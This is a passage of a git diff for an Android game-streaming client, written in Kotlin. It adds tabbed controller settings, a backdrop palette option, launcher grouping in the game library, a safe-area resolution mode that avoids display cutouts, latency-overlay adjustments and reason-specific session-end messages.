VirtualHere — " + "so games don't see two of them.", @@ -499,18 +571,18 @@ internal fun buildSettingsRows( // had the capability (`GpRow.enabled`) and used it only for the profiles placeholder, so // the pad rows kept stepping settings that had nothing to act on. choice( - "padType", null, "Controller type", + "padType", GpTab.CONTROLLER, null, "Controller type", "The virtual pad the host creates — Automatic matches this controller.", GAMEPAD_OPTIONS, s.gamepad, enabled = s.gamepadForwarding, ) { update(s.copy(gamepad = it)) }, choice( - "systemButtons", null, "Guide button", + "systemButtons", GpTab.CONTROLLER, null, "Guide button", "Where the guide (Xbox/PS) and share presses go while streaming — Automatic " + "sends them to the host whenever this device delivers them.", SYSTEM_BUTTON_OPTIONS, s.systemButtons, enabled = s.gamepadForwarding, ) { update(s.copy(systemButtons = it)) }, choice( - "guideGesture", null, "Hold Select for guide", + "guideGesture", GpTab.CONTROLLER, null, "Hold Select for guide", "Hold Select alone to press the host's guide button — keep holding for a " + "Gaming-Mode host's quick-access menu. A Select tap still goes through.", GUIDE_GESTURE_OPTIONS, s.guideGesture, enabled = s.gamepadForwarding, @@ -518,7 +590,7 @@ internal fun buildSettingsRows( ) + listOfNotNull( if (hasBodyVibrator) { toggle( - "phoneRumble", null, "Rumble on this phone", + "phoneRumble", GpTab.CONTROLLER, null, "Rumble on this phone", "Also play controller 1's rumble on this phone's own vibration motor — " + "for clip-on pads without rumble motors.", s.rumbleOnPhone, @@ -530,7 +602,7 @@ internal fun buildSettingsRows( // NOT gated on the vibrator (the bug A2 fixed in the touch settings): an SC2 capture has // nothing to do with this device's motor, and a TV box is where it matters most. toggle( - "sc2", null, "Steam Controller 2 passthrough", + "sc2", GpTab.CONTROLLER, "Passthrough", "Steam Controller 2 passthrough", "Capture a Steam Controller 2 (wired, Puck dongle, or paired Bluetooth) and stream " + "it as-is — Steam on the host drives it like the physical pad.", s.sc2Capture, enabled = s.gamepadForwarding, @@ -540,20 +612,53 @@ internal fun buildSettingsRows( // back to — could turn on SC2 passthrough but not the Sony one. Same no-vibrator-gate // reasoning: this capture renders feedback on the CONTROLLER's motors, not this device's. toggle( - "dsCapture", null, "DualSense / DualShock passthrough (USB)", + "dsCapture", GpTab.CONTROLLER, null, "DualSense / DualShock passthrough (USB)", "Drive a USB-connected Sony pad directly — rumble on any phone, plus adaptive " + "triggers, lightbar and gyro.", s.dsCapture, enabled = s.gamepadForwarding, ) { update(s.copy(dsCapture = it)) }, + + // The palette leads Interface: it is the one row whose effect you can see while you step + // it (the backdrop behind this very list recolours), so it wants to be the first thing + // found in the section. + choice( + "palette", GpTab.INTERFACE, null, "Background", + "The colour family this backdrop drifts through — it changes as you step, so pick by " + + "looking. Appearance only.", + GamepadPalette.ALL.map { it.id to it.name }, + GamepadPalette.named(s.uiPalette).id, + ) { update(s.copy(uiPalette = it)) }, + choice( + "hud", GpTab.INTERFACE, null, "Statistics overlay", + "How much the overlay shows: Compact (one line) → Normal → Detailed (full HUD). " + + "A 3-finger tap cycles the tiers live.", + STATS_VERBOSITY_OPTIONS, s.statsVerbosity, + ) { update(s.copy(statsVerbosity = it)) }, + toggle( + "autoWake", GpTab.INTERFACE, null, "Auto-wake on connect", + "Wake a saved host with Wake-on-LAN when it isn't seen on the network, then connect.", + s.autoWakeEnabled, + ) { update(s.copy(autoWakeEnabled = it)) }, + toggle( + "library", GpTab.INTERFACE, null, "Game library", + "Browse a paired host's games with Y (experimental).", + s.libraryEnabled, + ) { update(s.copy(libraryEnabled = it)) }, + toggle( + "gamepadUI", GpTab.INTERFACE, null, "Controller-optimized UI", + "Turn off to use the touch interface even with a controller connected.", + s.gamepadUiEnabled, + ) { update(s.copy(gamepadUiEnabled = it)) }, ) } + /** * The trailing Profiles section — the Android mirror of the desktop console's (design §5.2a, §5.4): * one row per catalog profile, valued with how many saved hosts pin it, activating into the * pin-to-hosts picker. Read-only beyond pinning: profiles are created and edited in the standard * interface, so an empty catalog shows one dimmed placeholder explaining where they come from - * instead of a dead-looking empty header. On a TV that phrasing changes: "touch interface" points + * instead of a dead-looking empty tab. On a TV that phrasing changes: "touch interface" points * nowhere useful on a touchless device, so the strings name the actual route — the * Controller-optimized UI toggle a few rows up, which swaps the standard interface in * (d-pad-navigable; the profile editor lives there on every device, unlike tvOS where none exists). @@ -574,7 +679,8 @@ private fun buildProfileRows( return listOf( GpRow( id = "noProfiles", - header = "Profiles", + tab = GpTab.PROFILES, + header = null, label = "No profiles yet", value = "", detail = "Profiles bundle stream settings for different uses — pinned ones become " + @@ -586,12 +692,13 @@ private fun buildProfileRows( ), ) } - return profiles.mapIndexed { i, p -> + return profiles.map { p -> // Counted straight off the host records, so it agrees with what the carousel renders. val pins = savedHosts.count { p.id in it.pinnedProfileIds } GpRow( id = "profile:${p.id}", - header = if (i == 0) "Profiles" else null, + tab = GpTab.PROFILES, + header = null, label = p.name, value = when (pins) { 0 -> "Not pinned" diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/LibraryScreen.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/LibraryScreen.kt index 93939b23..525ee127 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/LibraryScreen.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/LibraryScreen.kt @@ -90,6 +90,7 @@ fun LibraryScreen( onBack: () -> Unit, navActive: Boolean = true, ) { + val ink = LocalGamepadInk.current BackHandler(onBack = onBack) val context = LocalContext.current val scope = rememberCoroutineScope() @@ -145,7 +146,14 @@ fun LibraryScreen( launching = false if (handle != 0L) { onLaunched( - ActiveSession(handle, settings, host.clipboardSync), + ActiveSession( + handle, + settings, + host.clipboardSync, + hostId = host.id, + // Where to come back to when this game exits. + launchedFromLibrary = true, + ), ) } else Toast.makeText( @@ -170,8 +178,8 @@ fun LibraryScreen( horizontalAlignment = Alignment.CenterHorizontally, verticalArrangement = Arrangement.spacedBy(14.dp), ) { - CircularProgressIndicator(color = Color.White) - Text("Launching…", color = Color.White, style = MaterialTheme.typography.bodyLarge) + CircularProgressIndicator(color = ink.fg) + Text("Launching…", color = ink.fg, style = MaterialTheme.typography.bodyLarge) } } } @@ -195,17 +203,19 @@ fun LibraryScreen( @Composable private fun LoadingState() { + val ink = LocalGamepadInk.current Column(horizontalAlignment = Alignment.CenterHorizontally, verticalArrangement = Arrangement.spacedBy(14.dp)) { - CircularProgressIndicator(color = Color.White) - Text("Loading library…", color = Color.White.copy(alpha = 0.7f), style = MaterialTheme.typography.bodyLarge) + CircularProgressIndicator(color = ink.fg) + Text("Loading library…", color = ink.fg(0.7f), style = MaterialTheme.typography.bodyLarge) } } @Composable private fun MessageState(text: String) { + val ink = LocalGamepadInk.current Text( text, - color = Color.White.copy(alpha = 0.75f), + color = ink.fg(0.75f), style = MaterialTheme.typography.bodyLarge, textAlign = TextAlign.Center, modifier = Modifier.padding(horizontal = 24.dp), @@ -219,6 +229,7 @@ private fun Coverflow( navActive: Boolean, onLaunch: (GameEntry) -> Unit, ) { + val ink = LocalGamepadInk.current BoxWithConstraints(Modifier.fillMaxSize()) { // Fit a 2:3 poster into the height the detail line leaves; clamp so it never dwarfs the screen. val coverHeight = (maxHeight * 0.72f).coerceAtMost(360.dp) @@ -241,7 +252,22 @@ private fun Coverflow( onActivate = { games.getOrNull(navTarget)?.let(onLaunch) }, ) + // Design D4: the launcher entries lead the strip (the client groups them at parse time). + // A coverflow is one-dimensional, so instead of a second focus rail the heading names the + // group the cursor is in and changes as it crosses the boundary. Only drawn when the + // library actually has both groups — otherwise the screen is exactly what it was. + val bothGroups = games.any { it.isLauncher } && games.any { !it.isLauncher } Column(Modifier.fillMaxSize(), verticalArrangement = Arrangement.Center) { + if (bothGroups) { + Text( + if (current?.isLauncher == true) "LAUNCHERS" else "GAMES", + style = MaterialTheme.typography.labelSmall, + color = Color.White.copy(alpha = 0.45f), + letterSpacing = 2.sp, + textAlign = TextAlign.Center, + modifier = Modifier.fillMaxWidth().padding(bottom = 8.dp), + ) + } HorizontalPager( state = pagerState, pageSize = PageSize.Fixed(coverWidth), @@ -299,15 +325,16 @@ private fun Coverflow( current?.title ?: " ", style = MaterialTheme.typography.titleLarge, fontWeight = FontWeight.Bold, - color = Color.White, + color = ink.fg, maxLines = 1, overflow = TextOverflow.Ellipsis, ) if (current != null) { Text( - if (current.isCustom) "CUSTOM" else "STEAM", + if (current.isLauncher) "${current.storeLabel.uppercase()} \u00B7 LAUNCHER" + else current.storeLabel.uppercase(), style = MaterialTheme.typography.labelMedium, - color = Color.White.copy(alpha = 0.5f), + color = ink.fg(0.5f), letterSpacing = 2.sp, ) } @@ -319,6 +346,7 @@ private fun Coverflow( /** One cover: walks the art candidates (portrait → header → hero) then a text placeholder. */ @Composable private fun Poster(game: GameEntry, loader: ImageLoader, modifier: Modifier = Modifier) { + val ink = LocalGamepadInk.current val candidates = game.art.posterCandidates var idx by remember(game.id) { mutableStateOf(0) } val shape = RoundedCornerShape(16.dp) @@ -326,7 +354,7 @@ private fun Poster(game: GameEntry, loader: ImageLoader, modifier: Modifier = Mo modifier = modifier .clip(shape) .background(Color(0xFF241F3D)) - .border(1.dp, Color.White.copy(alpha = 0.12f), shape), + .border(1.dp, ink.fg(0.12f), shape), contentAlignment = Alignment.Center, ) { if (idx < candidates.size) { @@ -339,24 +367,29 @@ private fun Poster(game: GameEntry, loader: ImageLoader, modifier: Modifier = Mo onError = { idx++ }, // this candidate failed — try the next, or fall to the placeholder ) } else { + // A launcher rarely has poster art. Naming the launcher says "opens Steam"; the title + // would read as "a game whose cover failed to load". Text( - game.title, + if (game.isLauncher) game.storeLabel else game.title, style = MaterialTheme.typography.titleMedium, fontWeight = FontWeight.SemiBold, - color = Color.White.copy(alpha = 0.75f), + color = ink.fg(0.75f), textAlign = TextAlign.Center, modifier = Modifier.padding(12.dp), ) } - // Store badge, top-start. + // Store badge, top-start — brand-filled for a launcher entry (design D4). Box(Modifier.fillMaxSize().padding(8.dp), contentAlignment = Alignment.TopStart) { Text( - if (game.isCustom) "Custom" else "Steam", + game.storeLabel, style = MaterialTheme.typography.labelSmall, - color = Color.White, + color = ink.fg, modifier = Modifier .clip(RoundedCornerShape(50)) - .background(Color.Black.copy(alpha = 0.5f)) + .background( + if (game.isLauncher) MaterialTheme.colorScheme.primary + else Color.Black.copy(alpha = 0.5f), + ) .padding(horizontal = 8.dp, vertical = 3.dp), ) } diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/Settings.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/Settings.kt index 6ebca6f3..ea6328d4 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/Settings.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/Settings.kt @@ -105,6 +105,16 @@ data class Settings( * client's `libraryEnabled`. */ val libraryEnabled: Boolean = true, + /** + * Which colour family the console (gamepad) UI's living backdrop drifts through — the + * cross-client `ui_palette` key: `"violet"` (the brand default), `"tide"`, `"forest"`, + * `"ember"`, `"rose"`, `"graphite"`. See [GamepadPalette], whose table and maths mirror the + * desktop console's and the Apple client's under the same names. Presentation only: nothing + * about a stream depends on it, so it is a device preference and never part of a profile. + * An unknown value reads as the default rather than failing — a newer client may have shipped + * a palette this build doesn't know. + */ + val uiPalette: String = "violet", /** * "Low-latency mode" — the master switch over the latency pipeline: the async decode loop * (native; burst-feed + present-newest-per-vsync, the Apple client's discipline), decoder ranking @@ -284,6 +294,7 @@ class SettingsStore(context: Context) { ?: if (prefs.getBoolean(K_TRACKPAD, true)) TouchMode.TRACKPAD else TouchMode.POINTER, gamepadUiEnabled = prefs.getBoolean(K_GAMEPAD_UI, true), libraryEnabled = prefs.getBoolean(K_LIBRARY, true), + uiPalette = prefs.getString(K_UI_PALETTE, "violet") ?: "violet", lowLatencyMode = prefs.getBoolean(K_LOW_LATENCY, true), presentPriority = prefs.getString(K_PRESENT_PRIORITY, "latency") ?: "latency", smoothBuffer = prefs.getInt(K_SMOOTH_BUFFER, 0), @@ -323,6 +334,7 @@ class SettingsStore(context: Context) { .putString(K_TOUCH_MODE, s.touchMode.name) .putBoolean(K_GAMEPAD_UI, s.gamepadUiEnabled) .putBoolean(K_LIBRARY, s.libraryEnabled) + .putString(K_UI_PALETTE, s.uiPalette) .putBoolean(K_LOW_LATENCY, s.lowLatencyMode) .putString(K_PRESENT_PRIORITY, s.presentPriority) .putInt(K_SMOOTH_BUFFER, s.smoothBuffer) @@ -361,6 +373,7 @@ class SettingsStore(context: Context) { const val K_TOUCH_MODE = "touch_mode" const val K_GAMEPAD_UI = "gamepad_ui_enabled" const val K_LIBRARY = "library_enabled" + const val K_UI_PALETTE = "ui_palette" /** * Bumped AGAIN to restart every install at the new default (ON). History: the original @@ -424,6 +437,96 @@ fun nativeDisplayMode(context: Context): Triple { return Triple(maxOf(w, h), minOf(w, h), hz) } +/** + * Sentinel [Settings.width]/[Settings.height] meaning "the native mode, narrowed so the picture + * clears the display cutout and the rounded corners" — resolved at connect by [safeDisplayMode], + * exactly as `0` is resolved by [nativeDisplayMode]. Negative, so it can never collide with a real + * size; distinct from the UI's `-1` "Custom…" sentinel. + */ +const val SAFE_AREA_MODE = -2 + +/** + * Safe-area stream geometry — the pure part, so it is unit-testable without a Display. + * + * The phone clips the picture in HARDWARE: the cutout (notch / punch-hole) and the four rounded + * corners eat whatever the stream draws under them. [StreamScreen] deliberately draws edge-to-edge + * (`LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS`) and centres the video at its own aspect ratio + * (`Modifier.aspectRatio`), so which pixels survive is decided purely by the mode's aspect: + * + * * A 16:9 mode on a 20:9 phone pillarboxes, and those black bars land exactly on the unsafe + * regions — which is why the presets have always "just worked". + * * The NATIVE mode has the panel's own aspect, so it fills every pixel, cutout and corners + * included. That is the mode that loses its corners. + * + * So asking the host for a mode narrower by the unsafe inset is the entire fix: the existing + * aspect-fit centres it inside the safe region, and pointer mapping follows for free (MouseInput + * derives the picture rect from the live video size, not from the window). + */ +object SafeArea { + /** The host rejects odd dimensions and anything under 320 px wide (`validate_dimensions`). */ + const val MIN_WIDTH = 320 + + /** + * [nativeWidth] reduced by [perSideInsetPx] on each side, even-floored and clamped to the + * host's floor. Height is deliberately untouched: under aspect-fit only one axis can bind, and + * on a landscape phone that axis is always the horizontal one — insetting height as well would + * shrink the picture without uncovering anything. + */ + fun insetWidth(nativeWidth: Int, perSideInsetPx: Int): Int { + val inset = perSideInsetPx.coerceAtLeast(0) + return (nativeWidth - inset * 2).coerceAtLeast(MIN_WIDTH) / 2 * 2 + } +} + +/** + * The per-side inset, in pixels, that the **landscape** stream must clear on this display. + * + * Two contributions, and the larger wins: + * * **The cutout.** [DisplayCutout] is rotation-aware, so in landscape the housing shows up on + * `left`/`right`. The settings screen may be portrait though, where the very same housing is + * reported on `top`/`bottom` and the horizontal insets read zero — which would compute "no inset + * needed" for exactly the devices that need one. The stream is always landscape, so a vertical + * inset now becomes a horizontal one then: fall back to it. + * * **The rounded corners.** These are NOT part of the cutout insets. For a FULL-HEIGHT picture the + * horizontal clearance a corner of radius `r` needs is exactly `r`: at the topmost row the + * display boundary sits at `x = r`, so anything left of that is clipped. Not conservative — it is + * the precise requirement for a picture that spans the full height. + * + * `0` when the display has neither, which makes the safe mode identical to the native one. + */ +private fun displaySideInsetPx(context: Context): Int { + val display = probeDisplay(context) ?: return 0 + var inset = 0 + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + display.cutout?.let { cut -> + val horizontal = maxOf(cut.safeInsetLeft, cut.safeInsetRight) + val vertical = maxOf(cut.safeInsetTop, cut.safeInsetBottom) + inset = maxOf(inset, if (horizontal > 0) horizontal else vertical) + } + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + for (position in intArrayOf( + android.view.RoundedCorner.POSITION_TOP_LEFT, + android.view.RoundedCorner.POSITION_TOP_RIGHT, + android.view.RoundedCorner.POSITION_BOTTOM_LEFT, + android.view.RoundedCorner.POSITION_BOTTOM_RIGHT, + )) { + display.getRoundedCorner(position)?.let { inset = maxOf(inset, it.radius) } + } + } + return inset +} + +/** + * The native mode narrowed to clear the cutout and the rounded corners — the [SAFE_AREA_MODE] + * resolution, as a landscape `(width, height, hz)`. Same height and refresh as [nativeDisplayMode]; + * only the width moves. + */ +fun safeDisplayMode(context: Context): Triple { + val (w, h, hz) = nativeDisplayMode(context) + return Triple(SafeArea.insetWidth(w, displaySideInsetPx(context)), h, hz) +} + /** * True when this device's display can actually present HDR10, so we should advertise HDR to the * host. On an SDR panel we advertise `0` instead — the host then sends a proper 8-bit BT.709 stream @@ -458,12 +561,21 @@ fun displaySupportsHdr(context: Context): Boolean { return supported } -/** Resolve [Settings] (with its 0=native placeholders) to the concrete mode to request. */ +/** + * Resolve [Settings] (with its `0`=native and [SAFE_AREA_MODE] placeholders) to the concrete mode to + * request. The safe-area sentinel is checked first because it resolves BOTH axes together — it is one + * mode, not an independent width and height, and mixing half of it with a native height would ask + * for a size neither sentinel means. + */ fun Settings.effectiveMode(context: Context): Triple { - val native = nativeDisplayMode(context) - val w = if (width > 0) width else native.first - val h = if (height > 0) height else native.second - val hz = if (hz > 0) hz else native.third + val base = if (width == SAFE_AREA_MODE && height == SAFE_AREA_MODE) { + safeDisplayMode(context) + } else { + nativeDisplayMode(context) + } + val w = if (width > 0) width else base.first + val h = if (height > 0) height else base.second + val hz = if (hz > 0) hz else base.third return Triple(w, h, hz) } @@ -517,9 +629,10 @@ val RENDER_SCALE_OPTIONS = RenderScale.PRESETS.map { it to RenderScale.label(it) // ---- UI option tables (value, label). The first entry is always the "auto/native" default. ---- -/** (width, height, label). `(0,0)` = native display. */ +/** (width, height, label). `(0,0)` = native display; [SAFE_AREA_MODE] = native minus the cutout. */ val RESOLUTION_OPTIONS = listOf( Triple(0, 0, "Native display"), + Triple(SAFE_AREA_MODE, SAFE_AREA_MODE, "Native display (safe area)"), Triple(1280, 720, "1280 × 720"), Triple(1920, 1080, "1920 × 1080"), Triple(2560, 1440, "2560 × 1440"), diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/SettingsScreen.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/SettingsScreen.kt index 8b902099..b150cca8 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/SettingsScreen.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/SettingsScreen.kt @@ -603,6 +603,10 @@ private fun GeneralSettings(s: Settings, update: (Settings) -> Unit) { @Composable private fun DisplaySettings(s: Settings, update: (Settings) -> Unit, context: android.content.Context) { val (nw, nh, nhz) = nativeDisplayMode(context) + // The safe-area row carries its resolved size the same way the native row does. On a display with + // no cutout and square corners this equals the native mode — the row stays, honestly showing that + // it changes nothing here, rather than silently vanishing on some devices and not others. + val (sw, sh, _) = safeDisplayMode(context) // "Custom…" picked while the stored size is still a preset — keeps the size fields visible // until an edit actually makes it custom (or a preset is re-picked). Custom itself is detected // from the stored size, never flagged (see [isCustomResolution]), so nothing new persists. @@ -611,7 +615,13 @@ private fun DisplaySettings(s: Settings, update: (Settings) -> Unit, context: an SettingsGroup("Resolution") { SettingDropdown( label = "Resolution", - options = RESOLUTION_OPTIONS.map { (w, h, lbl) -> (w to h) to (if (w == 0) "$lbl ($nw × $nh)" else lbl) } + + options = RESOLUTION_OPTIONS.map { (w, h, lbl) -> + (w to h) to when (w) { + 0 -> "$lbl ($nw × $nh)" + SAFE_AREA_MODE -> "$lbl ($sw × $sh)" + else -> lbl + } + } + // The (-1, -1) sentinel can't collide with a real size; once a custom size is // stored its label carries the live value, like the native row carries ($nw × $nh). ((-1 to -1) to if (s.isCustomResolution()) "Custom (${s.width} × ${s.height})" else "Custom…"), @@ -620,7 +630,10 @@ private fun DisplaySettings(s: Settings, update: (Settings) -> Unit, context: an caption = "The host makes a display exactly this size — no scaling. Native follows " + "this device's panel.", ) { (w, h) -> - if (w < 0) { + // ONLY -1 is "Custom…". The other negative value is the safe-area sentinel, which is a + // stored mode like any preset — a blanket `w < 0` here would open the custom fields for it + // and overwrite it with a concrete size. + if (w == -1) { // Seed from the current *effective* size so the fields start from something // sensible (the resolved native mode, not the 0 × 0 placeholder). customPicked = true diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/StatsOverlay.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/StatsOverlay.kt index d5195d9a..926606ce 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/StatsOverlay.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/StatsOverlay.kt @@ -26,13 +26,25 @@ import kotlin.math.roundToInt * presentsWindow, presenterActive, feedP50Ms, codecP50Ms, skippedOverflowWindow]`. Every read * is length-guarded, so an older native lib simply omits the lines it can't feed. * + * The shown `display` and `end-to-end` numbers EXCLUDE the OS present floor (see [osFloorMs]) at + * every tier, and the detailed tier names what was excluded on its own line. The principle is the + * Apple client's: metrics report what Punktfunk controls, so the compositor's own latch and scanout + * — which no client can pace under — is reported rather than charged. It also stops the HUD reading + * worse than it is: the usual Android streaming overlays stop measuring at decode-complete, so a + * headline that carried the compositor's wait was compared against numbers that never contained it. + * + * The RAW figures are not lost — the native 1 Hz `pf.present` logcat line keeps `paceMs`, `latchMs` + * and `e2eMs` unshaved, so a HUD-off A/B and any cross-session comparison still work off the + * untouched numbers. + * * [verbosity] selects how many lines render (each tier a superset of the last — see * [StatsVerbosity]): * - [StatsVerbosity.COMPACT] — one line, `fps · end-to-end ms · Mb/s` (+ a loss flag). * - [StatsVerbosity.NORMAL] — the res/fps/Mb·s line, the end-to-end p50/p95 headline, and the * reliability counters (18–21) when nonzero. - * - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (10–13), and the - * stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero). + * - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (10–13), the + * stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero), + * and the excluded-floor line when one was measured. * [StatsVerbosity.OFF] renders nothing. Older native layouts simply omit the lines they lack (the * counter line falls back to the cumulative `lostTotal` at index 9 on a pre-window lib). */ @@ -95,9 +107,15 @@ internal fun StatsOverlay( // equation gains its `display` term; otherwise (older lib / no callbacks) the endpoint // honestly stays capture→decoded — the equation always tiles the headline interval. val dispValid = s.size >= 26 && s[22] != 0.0 + // The OS present floor this window (see [osFloorMs]) is excluded from every shown + // display / end-to-end number, at every tier — it is pipeline depth no client can pace + // under, so charging it to Punktfunk made our HUD read worse than clients that simply + // never measure it. 0.0 when unmeasured, which leaves the numbers exactly as raw as + // they were. + val floorMs = osFloorMs(s) val tag = if (skew) "" else " (same-host clock)" val (p50, p95, endpoint) = if (dispValid) { - Triple(s[24], s[25], "capture→displayed") + Triple(shave(s[24], floorMs), shave(s[25], floorMs), "capture→displayed") } else { Triple(s[2], s[3], "capture→decoded") } @@ -120,6 +138,11 @@ internal fun StatsOverlay( // dropping/serializing, an fps deficit is upstream. val split = s.size >= 30 && s[29] != 0.0 && (s[26] > 0 || s[27] > 0) val displayTerm = when { + // Floor excluded: what remains of the `display` term is the half Punktfunk + // owns (the presenter's pace wait), and the excluded line below carries the + // latch — printing the split too would report the same milliseconds twice. + dispValid && floorMs > 0 -> + " + display ${"%.1f".format(shave(s[23], floorMs))}" dispValid && split -> " + display ${"%.1f".format(s[23])} " + "(pace ${"%.1f".format(s[26])} + latch ${"%.1f".format(s[27])})" @@ -143,16 +166,14 @@ internal fun StatsOverlay( "= $hostTerms + $decodeTerm$displayTerm$presents", Color.White, ) - // Metric fairness: the Apple client's HUD shaves ~2 refresh periods of OS - // pipeline floor off its shown display/end-to-end; Android shows raw. This twin - // applies the same shave so iPhone↔Android HUD numbers compare directly. - if (dispValid && hz > 0) { - val shave = 2000.0 / hz + // What the numbers above leave out, named — the Apple client's + // `os present +N excluded` line, same wording so the two HUDs read alike. + // (This replaces the old "≈ Apple-HUD equiv" twin: both clients now shave, and + // Android's shave is measured rather than assumed at 2 refresh periods.) + if (floorMs > 0) { statLine( - "≈ Apple-HUD equiv: end-to-end " + - "${"%.1f".format((s[24] - shave).coerceAtLeast(0.0))} · display " + - "${"%.1f".format((s[23] - shave).coerceAtLeast(0.0))} (−2 refresh)", - Color(0xFFA8D8B8), + "os present +${"%.1f".format(floorMs)} excluded (display pipeline minimum)", + Color(0xFF9AA6B8), ) } } @@ -167,6 +188,37 @@ private fun statLine(text: String, color: Color) { Text(text, color = color, fontFamily = FontFamily.Monospace, fontSize = 12.sp) } +/** + * The OS present floor to exclude from the shown `display` / `end-to-end` numbers, ms — the + * measured `latch` p50 at index 27, i.e. release→`OnFrameRendered`: SurfaceFlinger's own latch and + * scanout. That is compositor pipeline depth no client can pace under, so it is reported as + * excluded rather than charged to Punktfunk — the Apple client's policy since its presentation + * rebuild, where the same floor is measured from the display link's vend lead. + * + * Measured, not assumed: the previous Android treatment used a fixed `2000/hz` twin, but the latch + * varies with panel rate, tunnelled playback and the vendor's low-latency mode (~21 ms p50 observed + * where the ~2-interval model predicts less), and this term self-adapts to all three. It is also + * available on every render path — the presenter's and both legacy release-immediately ones — since + * the release stamp it starts from is parked on every render, so it does not depend on + * `presenterActive` (29). + * + * `0.0` means unmeasured — no display stage this window (an older native lib, API < 33, or a + * platform that refused the callback), or no latch sample paired — and every caller then leaves its + * number raw, which is the honest fallback: we exclude only what we actually measured. + */ +private fun osFloorMs(s: DoubleArray): Double { + val dispValid = s.size >= 26 && s[22] != 0.0 + if (!dispValid || s.size < 28) return 0.0 + return s[27].coerceAtLeast(0.0) +} + +/** + * Subtract the excluded [floorMs] from a shown latency [ms], clamped at zero — the percentiles are + * drawn from different sample sets (a p50 latch against a p50/p95 end-to-end), so the difference can + * legitimately go slightly negative on a well-paced window without anything being wrong. + */ +private fun shave(ms: Double, floorMs: Double): Double = (ms - floorMs).coerceAtLeast(0.0) + /** * The single [StatsVerbosity.COMPACT] line: `238 fps · 1.3 ms · 921 Mb/s`. The end-to-end p50 term * is dropped when no in-range latency sample landed (`latValid` false), and a loss flag @@ -174,8 +226,9 @@ private fun statLine(text: String, color: Color) { * one reliability signal worth surfacing even at the tersest tier. */ private fun compactLine(s: DoubleArray, latValid: Boolean): String { - // Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window. - val e2eP50 = if (s.size >= 26 && s[22] != 0.0) s[24] else s[2] + // Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window, + // less the excluded OS present floor — the same number the richer tiers headline. + val e2eP50 = if (s.size >= 26 && s[22] != 0.0) shave(s[24], osFloorMs(s)) else s[2] val parts = buildList { add("${s[0].roundToInt()} fps") if (latValid) add("${"%.1f".format(e2eP50)} ms") diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/StreamScreen.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/StreamScreen.kt index a1abd4ed..600804b7 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/StreamScreen.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/StreamScreen.kt @@ -73,6 +73,7 @@ import io.unom.punktfunk.kit.GamepadRouter import io.unom.punktfunk.kit.deviceBodyVibrator import io.unom.punktfunk.kit.NativeBridge import io.unom.punktfunk.kit.Sc2Capture +import io.unom.punktfunk.kit.SessionEndReason import io.unom.punktfunk.kit.VideoDecoders import io.unom.punktfunk.models.ActiveSession import java.util.concurrent.atomic.AtomicBoolean @@ -86,7 +87,7 @@ import kotlinx.coroutines.delay * the connect that produced this handle. */ @Composable -fun StreamScreen(session: ActiveSession, onDisconnect: () -> Unit) { +fun StreamScreen(session: ActiveSession, onSessionEnded: (SessionEndReason) -> Unit) { val handle = session.handle val initialSettings = session.settings val micEnabled = initialSettings.micEnabled @@ -200,12 +201,32 @@ fun StreamScreen(session: ActiveSession, onDisconnect: () -> Unit) { while (true) { delay(1000) if (NativeBridge.nativeSessionEnded(handle)) { - Toast.makeText( - context, - "Connection lost — the host may be asleep. Wake it to reconnect.", - Toast.LENGTH_LONG, - ).show() - onDisconnect() + // WHY it ended decides what the user is told. This used to show the "host may be + // asleep" line for EVERY ending — including a game the player had just quit and a + // session the host ended on purpose — which reads as a failure report for + // something nobody did wrong. Only a connection that actually died says that now. + val reason = SessionEndReason.fromNative(NativeBridge.nativeEndReason(handle)) + when (reason) { + SessionEndReason.LOST -> + Toast.makeText( + context, + "Connection lost — the host may be asleep. Wake it to reconnect.", + Toast.LENGTH_LONG, + ).show() + SessionEndReason.HOST_ERROR -> + Toast.makeText( + context, + "The host ended the session with an error.", + Toast.LENGTH_LONG, + ).show() + // Deliberate endings — the player quit the game, the host was stopped, or we + // closed it. Leaving the stream IS the feedback; a toast would only add noise. + SessionEndReason.GAME_EXITED, + SessionEndReason.HOST_ENDED, + SessionEndReason.LOCAL, + SessionEndReason.NONE -> {} + } + onSessionEnded(reason) return@LaunchedEffect } } @@ -330,7 +351,7 @@ fun StreamScreen(session: ActiveSession, onDisconnect: () -> Unit) { // the keep-alive linger), unlike a host-ended / backgrounded drop. The router debounces it // (must be held ~1.5 s) and fires onExitChord on its main-thread timer, so leave the stream // the same way the Back gesture does. - activity?.requestStreamExit = { NativeBridge.nativeDisconnectQuit(handle); onDisconnect() } + activity?.requestStreamExit = { NativeBridge.nativeDisconnectQuit(handle); onSessionEnded(SessionEndReason.LOCAL) } router.onExitChord = { activity?.requestStreamExit?.invoke() } // Show a "hold to quit" hint the moment the chord completes (the router debounces the actual // exit); it clears when the buttons release early or the hold elapses. Runs on the main thread. @@ -617,7 +638,7 @@ fun StreamScreen(session: ActiveSession, onDisconnect: () -> Unit) { } // Back gesture = a deliberate exit → signal the quit so the host tears down now (no linger). - BackHandler { 